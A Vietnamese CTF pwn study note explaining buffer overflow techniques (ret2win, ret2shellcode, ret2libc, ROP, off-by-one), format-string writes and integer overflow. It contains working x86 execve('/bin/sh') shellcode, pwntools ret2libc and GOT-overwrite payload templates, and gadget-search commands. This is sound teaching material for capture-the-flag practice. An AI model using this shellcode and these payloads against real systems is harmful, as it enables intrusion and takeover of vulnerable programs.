# Buffer Overflow
- tóm tắt về kỹ thuật trên, là lỗi tràn biến thông dụng
- ta có thể lợi dụng lỗi này để chèn vào file 1 shellcode (mã độc) để nắm quyền kiểm soát hoặc đưa chương trình chạy về hàm mình mong muốn
- có nhiều cách khai thác như
> ret2win
> ret2shellcode
> ret2libc
> ROPchain
> OW rbp thay đổi biến
> OW rbp thay đổi luồng thực thi
> OffByOne
> ...
## ret2win
- "**win**" ở đây đơn giản là tên gọi chung của hàm lấy flag hoặc cho ta shell, thông thường hàm này sẽ không display trên **main**
- vì vậy để lấy flag hoặc shell thì ta cần điều hướng đi từ **main** về đích là **win**
- kỹ thuật này ta cần tìm offset để save_$rbp, sau đó truyền dữ liệu địa chỉ mà hàm ta muốn trỏ tới
- khá giống với cách jump, thì ở đây ta đã save_rbp thì dữ liệu tiếp theo ta phải save_rip với dữ liệu đó là địa chỉ **win**
- có thể leak địa chỉ hàm **win** từ gdb ``p&win`` hoặc ta có thể sử dụng ``exe.sym['win']`` (nếu PIE tĩnh hoặc xác định được exe_base)
:::info
- khi ta đã tiến vào trong hàm **win**, chương trình sẽ tiếp tục cộng trừ nhân chia gì đó cho stack
- tuỳ chall sẽ khiến cho stack không chia hết 16, việc ta cần làm là skip qua lệnh cộng trừ đó
- thông thường là sau câu lệnh ***push*** hoặc thêm địa chỉ **ret** để thêm 8 byte
> thường thấy là lỗi ``xmm0`` , ``xmm1``
> [xem thêm](https://hackmd.io/@whoisthatguy/SIGSEGVXMM#4-Bypass)
:::
## ret2shellcode
- kỹ thuật này ta sẽ sài khi file k có hàm đọc flag hay system, và kiểm tra checksec có **NX** tắt (stack thực thi được)
### 64 bits
- shellcode ta sẽ truyền thông qua hợp ngữ asm
- thanh ghi chủ chốt để tạo shell
```asm
$rax : 0x3b
$rdi : <addr> ---> 0x68732f6e69622f ('/bin/sh')
$rdx : 0x0
$rsi : 0x0
```
- shellcode mẫu cho file 64 bits
```asm
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
```
- $rdi phải trỏ tới đỉnh stack

> tuỳ 1 số bài mà ta phải viết shellcode custom (tự nó sửa chính nó hoặc call để làm 1 việc khác ngoài lấy shell)
### 32 bits
- thanh ghi chủ chốt để tạo shell
```asm
$eax : 0xb
$ebx : <addr> ---> 0x6e69622f ('/bin') ... (nối đuôi)'//sh'
$ecx : 0x0
$edx : 0x0
```
- shellcode mẫu cho file 32 bits
```asm
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push eax
pop ecx
pop edx
mov al,0xb
int 0x80
```
## ret2libc
- thông thường kĩ thuật này ta phải get_shell, là sẽ không có hàm đọc flag và ngoài ra ta phải leak thêm địa chỉ libc
- hầu hết trong libc sẽ có lệnh system
- ta có thể tải các phiên bản libc tại đây [link1](https://libc.blukat.me/) ; [link2](https://libc.rip/)
- kĩ thuật này ta cũng cần tính libc base, tức là địa chỉ nhỏ nhất của libc để từ đó mình thực thi system cho chính xác
- 2 khái niệm **GOT** và **PLT**:
- GOT : ***Global Offset Table*** #chứa địa chỉ hàm trong libc
- PLT : ***Procedure Linkage Table*** #thực thi hàm trong GOT
- ta có thể lấy GOT 1 trong các hàm có ở file, dùng gdb để kiểm tra với cú pháp ``got``
- ta sẽ lựa chọn khôn ngoan chọn hàm sao cho ít đòi hỏi nhiều về các arg (thông thường là 'puts')
### 64 bits
- tuỳ file mà sau khi leak dc libc là end chương trình, lúc này ta sẽ cho thực thi hàm 1 lần nữa bằng cách chạy lại hàm main ``exe.sym['main']``
- xong xuôi, ta cần thêm thanh ghi $rdi để trỏ tới chuỗi '/bin/sh' ``next(libc.search(b'/bin/sh))``
- rồi thực thi lệnh system ``libc.sym['system']``
- payload mẫu:
```python
#leaking
payload = b'A'*8 #padding
payload += b'B'*8 #save_rbp
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])
#get_shell
payload = b'A'*8 #padding
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(libc.sym['system'])
```
### 32 bits
- khác với file 64 bits ở chỗ các arg được **push** vào thanh ghi thông qua stack
- payload mẫu:
```python
#leaking
payload = b'a'*4 #padding
payload += p32(exe.plt['puts'])
payload += p32(exe.sym['main'])
payload += p32(exe.got['puts'])
#get_shell
payload = b'A'*4 #padding
payload += p32(libc.sym['system'])
payload += b'B'*8 #return system
payload += p32(next(libc.search(b'/bin/sh\0')))
```
## ROPchain
- kỹ thuật này để tìm các thanh ghi nhằm chỉnh sửa tham số từng thanh ghi cho mục đích khai thác
- ví dụ:
```bash
$ ROPgadget --binary <file> | grep "pop rax"
```
- với tham số truyền vào ta có thể lấy trong:
[linux syscall table](https://chromium.googlesource.com/chromiumos/docs/+/HEAD/constants/syscalls.md)
```gef
# ví dụ tham số để gọi execve ---> get_shell
$rax : 0x3b
$rdi : <addr> → 0x68732f6e69622f ("/bin/sh"?)
$rsi : 0x0
$rdx : 0x0
$rip : <addr> -> syscall
```
- hoặc ta có thể làm vs cú pháp sau
```bash
$ ROPgadget --binary <file> --ropchain
```
- còn 1 tool khác cũng tìm các đoạn nhỏ của chương trình cho ta là ``ropper``
```bash
$ ropper -f <file>
```
## Off_by_One
- đây là dạng bug thường gặp trong hàm **scanf()** (fmtstr là %s)

> tự động thêm NULL byte vào cuỗi mỗi chuỗi
- là khi mình nhập đủ lượng byte cho phép của hàm **scanf()** thì byte cuối chuỗi mình truyền vào sẽ add thêm NULL byte ---> đồng nghĩa với việc lỗi BOF (tràn 1 byte NULL)
- thay đổi được địa chỉ tiếp theo ---> least significant byte
- khi thay đổi được 1 byte cuối (có thể trên stack), đồng nghĩa với việc tại địa chỉ (cũ) đó sẽ bị dựt lên trên
- và mục tiêu để khai thác sẽ đa dạng tuỳ theo bài (maybe brute force, v.v..)
> khó mà đưa ra hướng khai thác chung lắm, chỉ còn cách gặp nó mà biết
> hoặc tham khảo nhiều nguồn mà học
# Format String
- đây là dạng kỹ thuật hoàn toàn mới, khi gặp những bài không có tràn biến (BOF) hoặc bài nhập vào r có 1 hàm in lại những gì mình nhập
> chủ yếu hàm **printf()** mà không có format
- tới bài này, thường thường payload ta sẽ chèn toán tử (câu lệnh của python) *f* ' ' thay vì *b* ' '
- *f* ' ' là truyền dữ liệu vào 1 cái chuỗi mà k cần dùng toán tử +
- 5 arg đầu sẽ nằm trên thanh ghi, ở % thứ 6 sẽ nằm trên stack (file 64 bits)
> 32 bits sẽ nằm hết trên stack
- lấy | sửa | ghi địa chỉ ở stack thứ **x** sẽ dùng cú pháp ``%x$X`` với **x** là vị trí ta muốn fmt, **X** là dạng fmt
## %p
- leak địa chỉ
## %s
- leak dữ liệu chứa trong địa chỉ (đa số là dữ liệu chứa trong heap)
## %c và %n
- đọc(đếm) và ghi(thay đổi)
- %n là ghi 4 byte
- %hn là ghi 2 byte
- %hhn là ghi 1 byte (bội số của 2)
### package
```python
package = {
gadget & 0xffff: ow_addr,
gadget >> 16 & 0xffff: ow_addr+2,
gadget >> 32 & 0xffff: ow_addr+4,
}
order = sorted(package)
```
- với `gadget` là địa chỉ muốn ow thành, còn `ow_addr` là địa chỉ muốn bị ow
- điều này giúp ta ghi đè 1 addr thành 1 addr khác thông qua bug fmtstr
- ``package[i]`` sẽ chứa địa chỉ (2 bytes) sẽ bị ow
- còn `sorted(pakage)` để sắp xếp thứ tự byte tăng dần
> để '%c' chính xác hơn
- ví dụ:
```python
got: 0x404018
system: 0x7fc51f8fdd70
order[0]: 0x1f8f
order[1]: 0x7fc5
order[2]: 0xdd70
package[order[0]]: 0x40401a
package[order[1]]: 0x40401c
package[order[2]]: 0x404018
```
- về payload, ta sẽ chain hợp lí để nó ow chính xác
```python
payload = f'%{order[0]}c%13$hn'.encode()
payload += f'%{order[1] - order[0]}c%14$hn'.encode()
payload += f'%{order[2] - order[1]}c%15$hn'.encode()
payload = payload.ljust(64-24,b'a')
payload += flat(
package[order[0]],
package[order[1]],
package[order[2]],
)
```
>payload mẫu trên
>64 là lượng ta muốn padding
>24 là 3 địa chỉ của package
## định dạng con '*'
- lưu ý '*' ở đây là toán tử, không còn là con trỏ như trong C (dễ bị nhầm lẫn)
- dấu '*' tương tự như in padding
- payload mẫu
```python
payload = f'%*14$c%15$hn'
payload += p64(ow_addr)
```
>cần tại %14 là lượng byte ta muốn in padding
>ở %15 là addr ta muốn ow
>sau **printf()** sẽ lấy lượng byte ở %14 mà %c trỏ đến sau đó ghi vào %15
## full form & short form
- 2 khái niệm tương đối khác nhau
### fmt full form
- full form thì nó sẽ thực thi lần lượt từng fmt từ trái sang phải
### fmt short form
- short form là nó sẽ thực thi những thằng $ trước, xong mấy thằng ko có $ thì thực thi lần lượt từ trái sang phải
# Interger Overflow
- lỗi này là dạng tràn số nguyên, ép kiểu
## tràn số nguyên
| Kiểu | Kích thước | Vùng giá trị |
|:--------------:|:--------------:|:--------------------------------------------------------:|
| char | 1 byte | -128 tới 127 hoặc 0 tới 255 |
| unsigned char | 1 byte | 0 tới 255 |
| signed char | 1 byte | -128 tới 127 |
| int | 2 hoặc 4 bytes | -32,768 tới 32,767 hoặc -2,147,483,648 tới 2,147,483,647 |
| unsigned int | 2 hoặc 4 bytes | 0 tới 65,535 hoặc 0 tới 4,294,967,295 |
| short | 2 bytes | -32,768 tới 32,767 |
| unsigned short | 2 bytes | 0 tới 65,535 |
| long | 4 bytes | -2,147,483,648 tới 2,147,483,647 |
| unsigned long | 4 bytes | 0 tới 4,294,967,295 |

- lấy ví dụ ở đây, int có miền giá trị ==[-2,147,483,648 ; 2,147,483,647]== (tuỳ cách khai báo kiểu **_int** hay **_int64**), nếu ta nhập lớn hơn maximum của int 1 đơn vị, thì sẽ đếm lại thành 1.
- nôm na giống đồng hồ công tơ mét.
```
công tơ mét xe số có 6 số
bắt đầu từ 000000
kết thúc ở 999999
ta đi thêm 1 km nữa
công tơ mét sẽ reset về 000000
(đúng hơn là [1]000000 nhưng do đồng hồ chỉ hiển thị 6 số)
và dấu hiệu là xe mình đã đi hết 1 vòng cuộc đời kkk
```
- mẹo: với đơn vị hex thì byte 0x80.. sẽ là số âm, và 0x7f vẫn còn là dương.
```
long int dc nhập vào với giá trị 0x7fffffffffffffff sẽ là dương cực đại (9223372036854775807)
```
- mẹo: với đơn bị bin thì bit đầu tiên sẽ quyết định là số âm hay dương
```
0b10001001 là số âm
0b01001001 là số dương
theo chuẩn dữ liệu máy tính hiểu
```
## ép kiểu
- với hàm **scanf()** sẽ có nhiều kiểu format
- và có 1 trick dành cho 1 kiểu format ==%lf== khá oái ăm (kiểu **double**)
- ví dụ nếu ta nhập ``1`` , thì stack nó lại nhận ntn:

> $rdi hiểu là 0x31 (số 1) nhưng stack hiện tại là ``0x3ff0000000000000``

- trong python có cách convert về kiểu double:
```python
payload = str(struct.unpack('d', p64(addr))[0]).encode()
###################################################################################
payload = str(struct.unpack('d', b'\xff\xff\xff\xff\xff\xff\xff\xff')[0]).encode()
```
## bypass
- ngoài ra để không nhập gì vào stack với format ==%lf== (==%d==, ==%u==, ==%ld==...) thì ta dùng dấu `.` (chấm)
# link support cho pwner
- custom shellcode
[page1](https://defuse.ca/online-x86-assembler.htm#disassembly) [page2](https://shell-storm.org/online/Online-Assembler-and-Disassembler/)
- system call
[here](https://www.chromium.org/chromium-os/developer-library/reference/linux-constants/syscalls/)
- privillege escalation base on ``/usr/bin``
[here](https://gtfobins.github.io/)
# CTF Note
- https://hackmd.io/@trhoanglan04/note
- https://hackmd.io/@trhoanglan04/tool